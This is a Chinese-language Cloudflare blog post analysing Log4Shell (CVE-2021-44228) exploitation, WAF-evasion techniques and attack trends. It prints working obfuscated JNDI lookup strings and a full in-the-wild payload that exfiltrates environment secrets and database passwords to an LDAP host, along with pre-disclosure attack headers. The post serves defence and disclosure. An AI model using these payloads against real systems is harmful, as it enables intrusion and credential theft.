订阅以接收新文章的通知:

Log4j CVE-2021-44228 漏洞被公开披露前的攻击利用以及规避与泄漏演变

2021-12-14

4 分钟阅读时间
这篇博文也有 EnglishFrançaisDeutsch日本語한국어繁體中文版本。

在此博客帖文中,我们将介绍全球出现的 WAF 规避模式和泄露企图,有关漏洞利用企图的趋势数据,以及有关我们在 CVE-2021-44228 公开披露之前看到的漏洞利用的信息。

简而言之,我们在 12 月 1 日看到了对该漏洞的有限测试,即在公开披露之前的 8 天。我们_在公开披露后仅 9 分钟就看到了利用该漏洞的第一次尝试_,足见攻击者利用新发现的漏洞的速度有多快。

我们还发现大量企图,尝试执行简单阻止而绕过 WAF,并且企图泄露密钥凭证和密码等数据。

WAF 规避模式和泄露示例

披露 CVE-2021-44228(现在通常称为 Log4Shell)以来,我们发现攻击者采用了许多手段,从使用简单的攻击字符串,到积极设法绕过 WAF 的阻止,不一而足。WAF 提供了阻止外部攻击者的有用工具,而攻击者往往企图规避 WAF 以绕过那些过于简单的规则。

在 Log4j 漏洞利用的最早阶段,攻击者使用通常以 ${jndi:dns, ${jndi:rmi${jndi:ldap 开头的解除混淆的字符串以及简单的规则来查找那些有效的模式。

在这些字符串被阻止之后,攻击者迅速改用规避方法。他们曾经并且仍在使用标准规避方法(对字符转义或编码)以及针对 Log4j 查找语言量身定做的规避手段。

任何胜任其职的 WAF 都能够处理标准方法。将 ${ 编码为 %24%7B\u0024\u007b 之类的伎俩,早在应用规则以检查所使用的特定漏洞利用之前就可轻松逆转。

然而,Log4j 语言有一些丰富的特性,使得隐藏一些 WAF 所查找的关键字符串成为可能。例如,${lower} 查找会将字符串转变为小写。因此,${lower:H} 会变成 h。使用查找,攻击者可以伪装 jndi 之类的关键字符串,以便规避 WAF。

在真实场景中,我们发现有人使用 ${date}${lower}${upper}${web}、${main} 和 ${env} 进行规避。此外,${env}、${sys} 和 ${main}(以及针对 Docker、Kubernetes 和其他系统的其他专门查找)被用于泄露目标进程的环境中的数据(包括关键密钥)。

要更好地理解此语言的用法,请参阅下面的小 Java 程序,它从命令行接受一个字符串,并通过 Log4j 将其记录到控制台:

这个简单的程序向控制台输出内容。这里它记录了 hide 这个词。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}

Log4j 语言允许在 ${} 之内使用 ${},因而攻击者能够组合多个不同的关键字进行规避。例如,以下 ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e 会被记录为 hide 一词。这样一来,举例来说,攻击者就很容易规避对 ${jndi 的简单化搜索,因为 jndi 可以通过类似方式进行隐藏。

$ java log4jTester.java 'hide'          
01:28:25.606 [main] ERROR log4jTester - hide

其他主要的规避方法利用了 :- 语法。利用该语法,攻击者可以为查找设置默认值,如果所查找的值为空,则会输出默认值。因此,举例来说,可以通过查找不存在的环境变量来输出一个词的字母。

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide

类似方法用于 ${web}、${main} 等,以及 ${::-h} 或 ${::::::-h} 之类的字符串,后两者都会变成 h。当然,组合使用这些方法还会造成越来越复杂的规避企图。

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide

要感受一下规避是如何迅速运作的,请参阅下面的图表,其中显示了出现在 WAF 块(橙线)中的解除混淆的 ${jndi:、${lower} 查找(绿线)的使用、URI 编码(蓝线)的使用,以及最近流行的一种特定规避方法:${${::-j}${::-n}${::-d}${::-i}(红线)。

在开头几天,规避情况相对罕见。然而,现在,尽管 ${jndi: 之类的幼稚字符串仍然大行其道,规避情况已经大增,WAF 必须阻止这些改进的攻击。

我们上周写过漏洞利用的初始阶段,这些阶段主要是开展侦察工作。在那之后,攻击者已进展到数据提取。

我们发现 ${env} 被用于提取环境变量,${sys} 被用于获取有关 Log4j 运行的系统的信息。这是在真实场景中被阻止的一个攻击企图,该攻击企图泄露各种 Log4j 查找中的大量数据:

其中您可以看到,用户、主目录、Docker 镜像名称、Kubernetes 和 Spring 的详情、用户和数据库的密码、主机名和命令行参数都被泄露。

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

**由于规避和泄露手段异常复杂,WAF 供应商需要检查 ${ 的任何出现情况,并作可疑处理。**为此,我们做了进一步的工作,清理我们发送给客户的所有日志,将 ${ 转换为 x{。

Cloudflare WAF 团队一直在设法阻止企图的漏洞利用,但客户使用最新版本的 Log4j 修补其系统或应用缓解措施仍然至关重要。由于记录的数据并不一定通过互联网传输,因此系统无论联网都需要修补。

所有付费客户都有可配置的 WAF 规则,用于帮助防御 CVE-2021-44228,并且我们还为免费客户部署了保护措施。

CVE-2021-44228 漏洞利用趋势

Cloudflare 迅速实施了 WAF 规则以帮助阻止这些攻击。以下图表显示了这些被阻止的攻击是如何演变的。

从 12 月 10 日到 12 月 13 日,我们发现每分钟阻止的次数攀升,如下所示。

日期

每分钟阻止的请求数均值

2021 年 12 月 10 日

5,483

2021 年 12 月 11 日

18,606

2021 年 12 月 12 日

27,439

2021 年 12 月 13 日

24,642

在我们的初始博客帖子中,我们提到加拿大(下面的绿线)是漏洞利用企图的最大来源国。在我们做出预测之后,这种态势并未延续,现在攻击来自全世界各地,有直接来自服务器的,也有通过代理的。

披露之前的 CVE-2021-44228 漏洞利用

CVE-2021-44228 在 2021-12-09 14:25 UTC 的推文(现已删除)中披露:

但是,我们的系统在 2021 年 12 月 1 日捕获到三次漏洞利用或扫描企图。如下所示。在每一次企图中,我混淆了 IP 地址和域名。这三次企图将 ${jndi:ldap} 查找注入到 HTTP User-Agent 标头、Referer 标头和 URI 参数中。

在这三次企图之后,我们没有发现进一步的活动,直到公开披露 9 分钟之后,有人企图在一个游戏网站上通过 URI 参数注入 ${jndi:ldap} 字符串。

2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	

总结

2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

CVE-2021-44228 被大量侵入者广泛地利用。WAF 作为帮助防止外部攻击的措施很有效,但它们并不是万无一失,攻击者也在想方设法进行规避。数据和凭证泄露的潜在可能性出奇地高,更具破坏力的入侵和攻击的长期风险非常高。

立即缓解并修补使用 Log4j 的受影响软件至关重要,切莫犹豫。

我们保护整个企业网络,帮助客户高效构建互联网规模的应用程序,加速任何网站或互联网应用程序抵御 DDoS 攻击,防止黑客入侵,并能协助您实现 Zero Trust 的过程

从任何设备访问 1.1.1.1,以开始使用我们的免费应用程序,帮助您更快、更安全地访问互联网。要进一步了解我们帮助构建更美好互联网的使命,请从这里开始。如果您正在寻找新的职业方向,请查看我们的空缺职位
Log4JLog4ShellVulnerabilitiesWAF安全性

在 X 上关注

Celso Martinho|@celso
Cloudflare|@cloudflare

相关帖子

2024年10月08日 13:00

Cloudflare acquires Kivera to add simple, preventive cloud security to Cloudflare One

The acquisition and integration of Kivera broadens the scope of Cloudflare’s SASE platform beyond just apps, incorporating increased cloud security through proactive configuration management of cloud services. ...

2024年10月06日 23:00

Enhance your website's security with Cloudflare’s free security.txt generator

Introducing Cloudflare’s free security.txt generator, empowering all users to easily create and manage their security.txt files. This feature enhances vulnerability disclosure processes, aligns with industry standards, and is integrated into the dashboard for seamless access. Strengthen your website's security today!...

2024年10月02日 13:00

How Cloudflare auto-mitigated world record 3.8 Tbps DDoS attack

Over the past couple of weeks, Cloudflare's DDoS protection systems have automatically and successfully mitigated multiple hyper-volumetric L3/4 DDoS attacks exceeding 3 billion packets per second (Bpps). Our systems also automatically mitigated multiple attacks exceeding 3 terabits per second (Tbps), with the largest ones exceeding 3.65 Tbps. The scale of these attacks is unprecedented....